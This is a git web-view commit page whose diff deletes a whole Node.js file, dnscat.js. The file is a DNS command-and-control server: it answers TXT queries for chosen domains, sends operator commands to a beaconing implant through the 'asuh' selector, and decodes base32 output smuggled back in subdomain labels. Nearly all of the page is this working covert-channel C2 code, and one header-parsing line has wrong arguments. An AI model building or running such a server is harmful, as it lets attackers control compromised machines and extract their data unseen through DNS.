summaryrefslogtreecommitdiff
path: root/dnscat.js
diff options
context:
space:
mode:
authorCarson Fleming <cflems@cflems.net>2022-07-15 01:04:39 -0700
committerCarson Fleming <cflems@cflems.net>2022-07-15 01:04:39 -0700
commit833d3536704e74066633899d48fdfbb06127e31d (patch)
treec9051cd841f66a2a2148e840f1e0ca591fc36068 /dnscat.js
parentc7c1bafa4b3b6deb0da1cf9eb06864a69938e1ac (diff)
downloaddnscc-833d3536704e74066633899d48fdfbb06127e31d.tar.gz
Remove debugging prints; rename main file
Diffstat (limited to 'dnscat.js')
-rw-r--r--dnscat.js286
1 files changed, 0 insertions, 286 deletions
diff --git a/dnscat.js b/dnscat.js
deleted file mode 100644
index 8956b2e..0000000
--- a/dnscat.js
+++ /dev/null
@@ -1,286 +0,0 @@
-const dgram = require('dgram');
-const Buffer = require('buffer').Buffer;
-const readline = require('readline');
-
-const host = '0.0.0.0';
-const port = 53;
-const commandQueue = [];
-
-const length_descending = (a, b) => b.length - a.length;
-const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : [];
-const sock = dgram.createSocket('udp4');
-
-function bitSlice(byte, offset, len) {
- return (byte >>> (8 - offset - len)) & ~(0xff << len);
-}
-
-function parseRequest(buffer) {
- const query = {
- header: {},
- questions: [],
- };
-
- query.header.id = buffer.subarray(0, 2);
-
- let tmp = buffer.subarray(2, 3).toString('binary', 0, 1).charCodeAt(0);
- query.header.qr = bitSlice(tmp, 0, 1);
- query.header.opcode = bitSlice(tmp, 1, 4);
- query.header.aa = bitSlice(tmp, 5, 1);
- query.header.tc = bitSlice(tmp, 6, 1)
- query.header.rd = bitSlice(tmp, 7, 1);
-
- tmp = buffer.subarray(3, 4).toString('binary', 0, 1).charCodeAt(0);
- query.header.ra = bitSlice(tmp, 0, 1);
- query.header.z = bitSlice(tmp, 1, 3);
- query.header.rcode = bitSlice(4, 4);
-
- query.header.qdcount = buffer.subarray(4, 6);
- query.header.ancount = buffer.subarray(6, 8);
- query.header.nscount = buffer.subarray(8, 10);
- query.header.arcount = buffer.subarray(10, 12);
-
- let idx = 12;
- let question = {};
- let domain = '';
- let questionsLeft = query.header.qdcount.readUInt16BE();
-
- while (idx < buffer.length - 4) {
- const sz = buffer[idx];
- if (sz == 0) {
- question.qname = domain.substr(1);
- question.qtype = buffer.subarray(idx + 1, idx + 3);
- question.qclass = buffer.subarray(idx + 3, idx + 5);
- query.questions.push(question);
-
- if (--questionsLeft == 0) break;
- question = {};
- domain = '';
- idx += 5;
- } else {
- domain += '.' + buffer.toString('binary', idx + 1, idx + sz + 1);
- idx += sz + 1;
- }
- }
-
- return query;
-}
-
-function buildResponse(query, qn, text) {
- const answer = {
- header: {},
- question: query.questions[qn],
- rr: {
- qname: query.questions[qn].qname,
- qtype: query.questions[qn].qtype,
- qclass: query.questions[qn].qclass,
- ttl: 0,
- rdata: text,
- rdlen: text.length,
- },
- };
-
- answer.header.id = query.header.id;
- answer.header.qr = 1;
- answer.header.opcode = query.header.opcode;
- answer.header.aa = 1;
- answer.header.tc = 0;
- answer.header.rd = query.header.rd;
- answer.header.ra = 0;
- answer.header.z = 0;
- answer.header.rcode = 0;
-
- answer.header.qdcount = query.questions.length;
- answer.header.ancount = 1;
- answer.header.nscount = 0;
- answer.header.arcount = 0;
-
- return buildResponseBuffer(answer);
-}
-
-function wrapQName(str, offset, ptrs = {}) {
- str = str.toLowerCase();
- if (str in ptrs) return [0xc0, ptrs[str]];
- ptrs[str] = offset;
-
- const selectors = str.split('.');
- const buffer = [];
-
- for (const selector of selectors) {
- buffer.push(selector.length & 0x3f);
- for (let i = 0; i < selector.length; i++) {
- buffer.push(selector.charCodeAt(i));
- }
- }
-
- buffer.push(0x00);
- return buffer;
-}
-
-function buildResponseBuffer(answer) {
- const pointerTable = {};
- const wrappedName = Buffer.from(wrapQName(answer.question.qname, 12, pointerTable));
- const qnsz = wrappedName.length;
- const sz = 16 + qnsz;
- const buffer = Buffer.alloc(sz);
-
- answer.header.id.copy(buffer, 0, 0, 2);
- buffer[2] = answer.header.qr << 7 | answer.header.opcode << 3 | answer.header.aa << 2 | answer.header.tc << 1 | answer.header.rd;
- buffer[3] = answer.header.ra << 7 | answer.header.z << 4 | answer.header.rcode;
-
- buffer.writeUInt16BE(answer.header.qdcount, 4);
- buffer.writeUInt16BE(answer.header.ancount, 6);
- buffer.writeUInt16BE(answer.header.nscount, 8);
- buffer.writeUInt16BE(answer.header.arcount, 10);
-
- wrappedName.copy(buffer, 12, 0, qnsz);
- answer.question.qtype.copy(buffer, 12 + qnsz, 0, 2);
- answer.question.qclass.copy(buffer, 14 + qnsz, 0, 2);
-
- const rr = wrapQName(answer.rr.qname, sz, pointerTable);
-
- const qtype = answer.rr.qtype.readUInt16BE();
- rr.push(qtype >> 8 & 0xff);
- rr.push(qtype & 0xff);
- const qclass = answer.rr.qclass.readUInt16BE();
- rr.push(qclass >> 8 & 0xff);
- rr.push(qclass & 0xff);
- const ttl = answer.rr.ttl;
- rr.push(ttl >> 24 & 0xff);
- rr.push(ttl >> 16 & 0xff);
- rr.push(ttl >> 8 & 0xff);
- rr.push(ttl & 0xff);
- const rdlength = answer.rr.rdlen + 1;
- rr.push(rdlength >> 8 & 0xff);
- rr.push(rdlength & 0xff);
- rr.push(rdlength - 1 & 0xff);
-
- const rrdata = rr.concat(answer.rr.rdata.split('').map(c => c.charCodeAt(0)));
- return Buffer.concat([buffer, Buffer.from(rrdata)]);
-}
-
-sock.on('message', function(req, rinfo) {
- const query = parseRequest(req);
- for (let i = 0; i < query.questions.length; i++) {
- if (query.questions[i].qtype.readUInt16BE() != 16) continue; // only answer TXT queries
-
- const qname = query.questions[i].qname.toLowerCase();
- let recognized = false, domain;
-
- for (domain of domains) {
- domain = domain.toLowerCase();
- if (qname.endsWith('.' + domain)) {
- recognized = true;
- break;
- }
- }
- if (!recognized) continue;
-
- const selector = qname.substr(0, qname.indexOf('.' + domain)).toLowerCase();
- const overhead = 32, max_sz = 512, max_txt = 255;
-
- let resp;
-
- if (selector == "asuh") {
- if (commandQueue.length < 1) {
- resp = 'nop';
- } else {
- resp = commandQueue.shift();
- while (resp.length > max_txt || resp.length + domain.length + overhead > max_sz) {
- console.log('\n[WARN] Queued command is too long; skipping "', resp, '"');
- rl.prompt(true);
- resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop';
- }
- }
- } else {
- const output = unpack(selector);
- if (!output) {
- console.log('\n[WARN] Unable to decode selector:', selector, "; tampering detected");
- rl.prompt(true);
- return;
- }
- console.log();
- if (output === '\xde\xadDONE') {
- console.log();
- rl.prompt(true);
- } else {
- process.stdout.write(output);
- }
-
- resp = 'ok';
- }
-
- const responseBuffer = buildResponse(query, i, resp);
- sock.send(responseBuffer, 0, responseBuffer.length, rinfo.port, rinfo.address, function(e) {
- if (e) console.warn('Error Sending Response:', e);
- });
- }
-});
-
-function unpack(s) {
- const chunks = s.split('.').reverse().map(c => decode(c));
- return chunks.join('');
-}
-
-function decode(s) {
- const len = s.length;
- const apad = 'abcdefghijklmnopqrstuvwxy1234567z';
- let v,x,r=0,bits=0,c,o='';
-
- for(i=0;i<len;i+=1) {
- v = apad.indexOf(s.charAt(i));
- if (v < 0 || v > 32) return false;
- if (v == 32) continue;
-
- x = (x << 5) | v;
- bits += 5;
- if (bits >= 8) {
- c = (x >> (bits - 8)) & 0xff;
- o = o + String.fromCharCode(c);
- bits -= 8;
- }
- }
- if (bits>0) {
- c = ((x << (8 - bits)) & 0xff) >> (8 - bits);
-
- if (c!==0) {
- o = o + String.fromCharCode(c);
- }
- }
-
- return o;
-}
-
-sock.on('error', function(e) {
- console.error('Socket Error:', e);
-});
-
-sock.bind(port, host);
-console.log('Bound on '+host+':'+port);
-console.log('Serving domains: ', domains);
-
-const rl = readline.createInterface({
- input: process.stdin,
- output: process.stdout,
- terminal: true,
- prompt: '\x1b[1;37m[0xdeadc0de]\x1b[0m ',
-});
-
-rl.on('line', function (cmd) {
- commandQueue.push(cmd.trim());
-// rl.prompt();
-});
-
-rl.on('close', function () {
- console.log('Quitting.');
- sock.close();
-});
-
-rl.on('SIGINT', function () {
- console.log('^C');
- rl.line = '';
- rl.cursor = 0;
- rl.prompt();
-});
-
-console.log('[INFO] Command interpreter started')
-rl.prompt();